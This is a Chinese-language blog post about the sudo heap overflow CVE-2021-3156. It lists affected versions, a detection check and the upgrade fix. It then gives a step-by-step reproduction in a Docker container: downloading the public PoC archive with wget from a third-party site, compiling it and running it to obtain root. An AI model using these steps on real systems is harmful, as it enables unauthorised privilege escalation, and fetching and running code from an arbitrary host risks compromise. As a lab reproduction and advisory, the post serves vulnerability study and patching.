漏洞简介

当sudo通过-s或-i命令行选项在shell模式下运行命令时,它将在命令参数中使用反斜杠转义特殊字符。但使用-s或 -i标志运行sudoedit时,实际上并未进行转义,从而可能导致缓冲区溢出。只要存在sudoers文件(通常是 /etc/sudoers),攻击者就可以使用本地普通用户利用sudo获得系统root权限。

影响版本

Sudo 1.8.2 - 1.8.31p2

Sudo 1.9.0 - 1.9.5p1

检测方法

在非root用户下使用sudoedit -s /

返回以“sudoedit:”开头的错误,则当前系统可能存在安全风险。

返回“usage:”开头的错误响应,则不存在该漏洞。

修复方式

将sudo版本升级至最新版本,官方下载链接:https://www.sudo.ws/download.html

漏洞复现

POC下载地址:https://github.com/blasty/CVE-2021-3156

1.我们使用docker容器拉取镜像具体命令如下

docker search ubuntu:20.04  #搜索ubuntu20.04版本的镜像
docker pull manishfoodtechs/xfcefulldesktop_ubuntu20.4 #拉去镜像
docker run -it manishfoodtechs/xfcefulldesktop_ubuntu20.4 /bin/bash  #进入容器

2.使用sudoedit -s / 来判断是否可能存在漏洞,如出现sudoedit开头的报错则说明可能存在该漏洞

3.创建一个普通用户并且将切换到该用户

4.这里可以使用git或者wget等其他方法来获取POC,使用tar命令进行解压

wget -P /tmp https://www.xffbk.cn/ruanjian/CVE-2021-3156.tar.gz
tar -zxvf CVE-2021-3156.tar.gz

5.进入加压之后的CVE目录,并且运行make进行编译,此时会生成一个新的可执行文件 sudo-hax-me-a-sandwich

6.因为我们的系统版本是Ubuntu 20.04.1所以这里选择0,运行之后成功提权。

最后修改:2021 年 10 月 07 日 07 : 38 PM
如果觉得我的文章对你有用,请随意赞赏